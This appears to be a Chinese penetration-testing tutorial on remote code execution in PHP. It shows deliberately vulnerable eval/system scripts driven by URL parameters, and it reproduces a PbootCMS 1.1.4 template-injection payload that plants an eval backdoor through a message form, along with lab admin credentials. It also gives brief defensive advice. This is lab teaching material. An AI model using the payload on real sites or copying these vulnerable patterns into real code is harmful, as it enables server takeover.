【网安-Web渗透测试-漏洞系列】RCE漏洞

RCE漏洞

一、RCE概念

1、什么是RCE漏洞?

RCE(Remote Code/Command Execution)是远程代码执⾏和远程命令执⾏的漏洞。在很多Web应⽤中,开发⼈员会使⽤⼀些函数,这些函数以⼀些字符串作为输⼊,功能是将输⼊的字符串当作代码或者命令来进⾏执⾏。当⽤户可以控制这些函数的输⼊时,就产⽣了RCE漏洞。

2、危害性

RCE漏洞是⾮常严重的安全漏洞,⼀旦出现,就意味着攻击者可以获取服务器的命令执⾏权限,从⽽对服务器安全造成极⼤的影响。

二、运行环境

名称
操作系统 Windows 10
中间件 phpStudy 2018
PHP版本 5.4.45
Apache 2.4

三、远程代码执行案例

1、eval函数

(1)新建rce_1.php文件

bash 复制代码
<?php
 $code=$_GET['x'];
 eval($code);
?>

(2)访问地址

bash 复制代码
http://127.0.0.1/rce_1.php?x=phpinfo();
bash 复制代码
http://127.0.0.1/rce_1.php?x=echo 'This is an echo print output!';

2、system函数

(1)新建rce_2.php文件

bash 复制代码
<?php
 $code=$_GET['x'];
 echo system($code);
?>

(2)访问地址

bash 复制代码
http://127.0.0.1/rce_2.php?x=ipconfig
bash 复制代码
http://127.0.0.1/rce_2.php?x=dir
bash 复制代码
http://127.0.0.1/rce_2.php?x=tasklist
bash 复制代码
http://127.0.0.1/rce_2.php?x=systeminfo

四、PbootCMS-1.1.4靶场实践

1、靶场环境配置

(1)部署地址

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\pboot

(2)访问地址

bash 复制代码
http://127.0.0.1/pboot

2、漏洞复现

Step1:访问地址

bash 复制代码
http://127.0.0.1/pboot/index.php/about/10.html


Step2:留言输⼊框 "内 容" 中填入如下的东西后,单击"提交"。

bash 复制代码
AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}

提交成功后会显示"提交成功"

Step3:登录后台

bash 复制代码
账户:admin
密码:123456


Step4:在 "在线留言" 页面中注入恶意语句

3、分析"漏洞复现"为何能成功注入

Step1:所访问的 "在线留言" 中含有的访问地址已得知。

bash 复制代码
http://127.0.0.1/pboot/index.php/about/10.html

Step2:现查阅 "在线留言" 的源码,位置如下:

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\pboot\apps\home\controller\AboutController.php

Step3:从图片看到ParserController.php中存在了一个eval函数,且AboutController.php(即"在线留言"页面)调用了ParserController.php模块。

五、RCE漏洞防御

  • 在进入执行命令函数前,需做严格的检测和过滤;
  • 命令执行函数(不能完全控制的危险函数)尽量不用,如果必须使用,则一定要加上验证,以防他人利用。
  • 必须保证用户不能轻易接触eval的参数,如果一定需要用该函数,需严格判断输入的数据是否含有危险变量。
相关推荐
闲云野鹤在人间1 小时前
docker 入门 | 第5章 网络详解
网络·docker·架构·华为云·php
PHP实战开发录4 小时前
MySQL连接数为什么会打满
系统架构·php·开发
VXbishe4 小时前
【课程设计】基于SpringBoot的乡村政务服务系统的设计与实现-计算机毕设77011
javascript·vue.js·spring boot·python·php·课程设计·政务
aixingpan4 小时前
aixingpan.cn API开发文档:api_docs_bichart_natalvssolar_return2接口指南
前端·php
曦夜日长5 小时前
Linux系统篇,进程概念(四):内核链表的深度理解、进程优先级的底层理解
linux·运维·服务器·php
蒲公英eric8 小时前
从旧接口泄露到 OAuth 保护:DVWA API 模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·api模块
云水一下21 小时前
零基础玩转bWAPP靶场(六十七):Cross-Domain Policy File (Flash)
web安全·flash·bwapp
4SAPI21 小时前
企业大模型API服务商推荐:从多模型接入到AI API Gateway的技术选型分析
人工智能·php
子非鱼a1 天前
【WEB】[NewStarCTF 2023 公开赛道]include 0。0
php
DevUp1 天前
停更老站往哪搬:PHP 老站的五条出路(番外七)
php·cms